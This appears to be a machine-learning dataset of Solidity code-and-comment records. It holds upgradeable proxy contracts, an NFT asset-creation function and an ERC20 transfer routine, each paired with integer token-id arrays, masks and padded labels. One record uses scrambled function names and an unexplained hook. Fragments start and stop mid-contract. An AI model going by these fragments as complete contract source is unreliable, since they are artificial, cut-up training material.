bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/upgradeability/Proxy.sol
pragma solidity 0.7.5;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
abstract contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view virtual returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
fallback() external payable {
// solhint-disable-previous-line no-complex-fallback
address _impl = implementation();
require(_impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize())
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
/*
*/
/*
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
*/
mstore(0x40, add(ptr, returndatasize()))
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, returndatasize())
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
// File: contracts/upgradeability/UpgradeabilityStorage.sol
pragma solidity 0.7.5;
/**
* @title UpgradeabilityStorage
* @dev This contract holds all the necessary state variables to support the upgrade functionality
*/
contract UpgradeabilityStorage {
// Version name of the current implementation
uint256 internal _version;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the version name of the current implementation
* @return uint256 representing the name of the current version
*/
function version() external view returns (uint256) {
return _version;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view virtual returns (address) {
return _implementation;
}
}
// File: contracts/upgradeability/UpgradeabilityProxy.sol
pragma solidity 0.7.5;
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy, UpgradeabilityStorage {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param version representing the version name of the upgraded implementation
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(uint256 version, address indexed implementation);
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view override(Proxy, UpgradeabilityStorage) returns (address) {
return UpgradeabilityStorage.implementation();
}
/**
* @dev Upgrades the implementation address
* @param version representing the version name of the new implementation to be set
* @param implementation representing the address of the new implementation to be set
*/
function _upgradeTo(uint256 version, address implementation) internal {
require(_implementation != implementation);
// This additional check verifies that provided implementation is at least a contract
require(Address.isContract(implementation));
// This additional check guarantees that new version will be at least greater than the privios one,
// so it is impossible to reuse old versions, or use the last version twice
require(version > _version);
_version = version;
_implementation = implementation;
emit Upgraded(version, implementation);
}
}
// File: contracts/upgradeability/UpgradeabilityOwnerStorage.sol
pragma solidity 0.7.5;
/**
* @title UpgradeabilityOwnerStorage
* @dev This contract keeps track of the upgradeability owner
*/
contract UpgradeabilityOwnerStorage {
// Owner of the contract
address internal _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
// File: contracts/upgradeability/OwnedUpgradeabilityProxy.sol
pragma solidity 0.7.5;
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityOwnerStorage, UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor() {
setUpgradeabilityOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyUpgradeabilityOwner() {
require(msg.sender == upgradeabilityOwner());
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) external onlyUpgradeabilityOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(upgradeabilityOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy.
* @param version representing the version name of the new implementation to be set.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(uint256 version, address implementation) public onlyUpgradeabilityOwner {
_upgradeTo(version, implementation);
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation
* to initialize whatever is needed through a low level call.
* @param version representing the version name of the new implementation to be set.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(
uint256 version,
address implementation,
bytes calldata data
) external payable onlyUpgradeabilityOwner {
upgradeTo(version, implementation);
// solhint-disable-next-line avoid-call-value
(bool status, ) = address(this).call{ value: msg.value }(data);
require(status);
}
}
// File: contracts/upgradeability/EternalStorageProxy.sol
pragma solidity 0.7.5;
/**
* @title EternalStorageProxy
* @dev This proxy holds the storage of the token contract and delegates every call to the current implementation set.
* Besides, it allows to upgrade the token's behaviour towards further implementations, and provides basic
* authorization control functionalities
*/
// solhint-disable-next-line no-empty-blocks
contract EternalStorageProxy is EternalStorage, OwnedUpgradeabilityProxy {
}
|
* @title EternalStorageProxy @dev This proxy holds the storage of the token contract and delegates every call to the current implementation set. Besides, it allows to upgrade the token's behaviour towards further implementations, and provides basic authorization control functionalities/ solhint-disable-next-line no-empty-blocks
|
contract EternalStorageProxy is EternalStorage, OwnedUpgradeabilityProxy {
}
| 2,434,343 |
[
1,
41,
1174,
3245,
3886,
225,
1220,
2889,
14798,
326,
2502,
434,
326,
1147,
6835,
471,
22310,
3614,
745,
358,
326,
783,
4471,
444,
18,
605,
281,
4369,
16,
518,
5360,
358,
8400,
326,
1147,
1807,
14273,
23248,
9271,
16164,
16,
471,
8121,
5337,
6093,
3325,
18699,
1961,
19,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
1158,
17,
5531,
17,
7996,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
512,
1174,
3245,
3886,
353,
512,
1174,
3245,
16,
14223,
11748,
10784,
2967,
3886,
288,
203,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11297108109/0x19D4F9A260AF1d7E0E99A32DBe418956af875c25/sources/contracts/NFTCollection/NFTAssetCollection.sol
|
* @dev Creates a new asset type @param _cmd A CreateAssetCommand with the following parameters: _id The id of the asset to create (must not currently exist). _cap Maximum amount of total supply _assetData Data of the new asset _weight The weight of the new asset, may be 0 _royaltyReceiver The address which will receive the royalty _royaltyFee The royalty fee in percent/
|
function createAsset(CreateAssetCommand memory _cmd) public {
_checkValidRoyaltyFee(_cmd.royaltyFee);
_onlyManager();
require(!_existAsset(_cmd.id), "Asset id already exists");
if (assetIds.length > 0) {
if (assetWeight[assetIds[0]] == 0) {
require(_cmd.weight == 0, "Existing assets have no weight, asset with weight not allowed");
}
else {
require(_cmd.weight > 0, "Existing assets have weight, asset without weight not allowed");
}
}
require(_cmd.royaltyReceiver != address(0), "Royalty receiver is zero");
assets[_cmd.id] = _cmd.assetData;
assetCap[_cmd.id] = _cmd.cap;
assetWeight[_cmd.id] = _cmd.weight;
_setRoyaltyReceiver(_cmd.id, _cmd.royaltyReceiver);
_setRoyaltyFee(_cmd.id, _cmd.royaltyFee);
_numericalIdAsset[calculateAssetNumericalId(_cmd.id)] = _cmd.id;
assetIds.push(_cmd.id);
emit AssetCreated(
_cmd.id,
_cmd.cap,
_cmd.assetData,
_cmd.weight,
_cmd.royaltyReceiver,
_cmd.royaltyFee
);
}
| 13,236,795 |
[
1,
2729,
279,
394,
3310,
618,
225,
389,
4172,
432,
1788,
6672,
2189,
598,
326,
3751,
1472,
30,
540,
389,
350,
1021,
612,
434,
326,
3310,
358,
752,
261,
11926,
486,
4551,
1005,
2934,
540,
389,
5909,
18848,
3844,
434,
2078,
14467,
540,
389,
9406,
751,
1910,
434,
326,
394,
3310,
540,
389,
4865,
1021,
3119,
434,
326,
394,
3310,
16,
2026,
506,
374,
540,
389,
3800,
15006,
12952,
1021,
1758,
1492,
903,
6798,
326,
721,
93,
15006,
540,
389,
3800,
15006,
14667,
1021,
721,
93,
15006,
14036,
316,
5551,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
752,
6672,
12,
1684,
6672,
2189,
3778,
389,
4172,
13,
1071,
288,
203,
3639,
389,
1893,
1556,
54,
13372,
15006,
14667,
24899,
4172,
18,
3800,
15006,
14667,
1769,
203,
3639,
389,
3700,
1318,
5621,
203,
3639,
2583,
12,
5,
67,
7398,
6672,
24899,
4172,
18,
350,
3631,
315,
6672,
612,
1818,
1704,
8863,
203,
3639,
309,
261,
9406,
2673,
18,
2469,
405,
374,
13,
288,
203,
5411,
309,
261,
9406,
6544,
63,
9406,
2673,
63,
20,
13563,
422,
374,
13,
288,
203,
7734,
2583,
24899,
4172,
18,
4865,
422,
374,
16,
315,
9895,
7176,
1240,
1158,
3119,
16,
3310,
598,
3119,
486,
2935,
8863,
203,
5411,
289,
203,
5411,
469,
288,
203,
7734,
2583,
24899,
4172,
18,
4865,
405,
374,
16,
315,
9895,
7176,
1240,
3119,
16,
3310,
2887,
3119,
486,
2935,
8863,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
2583,
24899,
4172,
18,
3800,
15006,
12952,
480,
1758,
12,
20,
3631,
315,
54,
13372,
15006,
5971,
353,
3634,
8863,
203,
203,
3639,
7176,
63,
67,
4172,
18,
350,
65,
273,
389,
4172,
18,
9406,
751,
31,
203,
3639,
3310,
4664,
63,
67,
4172,
18,
350,
65,
273,
389,
4172,
18,
5909,
31,
203,
3639,
3310,
6544,
63,
67,
4172,
18,
350,
65,
273,
389,
4172,
18,
4865,
31,
203,
3639,
389,
542,
54,
13372,
15006,
12952,
24899,
4172,
18,
350,
16,
389,
4172,
18,
3800,
15006,
12952,
1769,
203,
3639,
389,
542,
54,
13372,
15006,
14667,
24899,
4172,
18,
350,
16,
389,
4172,
18,
3800,
15006,
14667,
1769,
203,
2
] |
./full_match/1/0xac3f2114d1D3c8E77C66c571afeCe4557Ffa9098/sources/ERC20.sol
|
Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing.
|
function tyhgkeida(
address opuyt,
address nhduw,
uint256 kmatijsa
) internal virtual {
require(opuyt != address(0), "ERC20: transfer from the zero address");
require(nhduw != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(opuyt, nhduw, kmatijsa);
uint256 fromBalance = _balances[opuyt];
require(fromBalance >= kmatijsa, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[opuyt] = fromBalance - kmatijsa;
_balances[nhduw] += kmatijsa;
}
pikudjksw(opuyt, nhduw, kmatijsa);
emit Transfer(opuyt, nhduw, kmatijsa);
}
| 9,814,818 |
[
1,
15526,
486,
3323,
30,
326,
2142,
434,
777,
324,
26488,
353,
3523,
1845,
635,
2078,
3088,
1283,
16,
471,
326,
2142,
353,
21096,
635,
15267,
310,
1508,
5504,
310,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
13806,
26981,
4491,
350,
69,
12,
203,
3639,
1758,
1061,
9835,
88,
16,
203,
3639,
1758,
24043,
2544,
91,
16,
203,
3639,
2254,
5034,
417,
7373,
77,
2924,
69,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2583,
12,
556,
9835,
88,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
82,
76,
2544,
91,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
540,
203,
3639,
389,
5771,
1345,
5912,
12,
556,
9835,
88,
16,
24043,
2544,
91,
16,
417,
7373,
77,
2924,
69,
1769,
203,
203,
3639,
2254,
5034,
628,
13937,
273,
389,
70,
26488,
63,
556,
9835,
88,
15533,
203,
3639,
2583,
12,
2080,
13937,
1545,
417,
7373,
77,
2924,
69,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
3639,
22893,
288,
203,
5411,
389,
70,
26488,
63,
556,
9835,
88,
65,
273,
628,
13937,
300,
417,
7373,
77,
2924,
69,
31,
203,
5411,
389,
70,
26488,
63,
82,
76,
2544,
91,
65,
1011,
417,
7373,
77,
2924,
69,
31,
203,
3639,
289,
203,
203,
3639,
293,
1766,
1100,
26921,
5328,
12,
556,
9835,
88,
16,
24043,
2544,
91,
16,
417,
7373,
77,
2924,
69,
1769,
203,
3639,
3626,
12279,
12,
556,
9835,
88,
16,
24043,
2544,
91,
16,
417,
7373,
77,
2924,
69,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
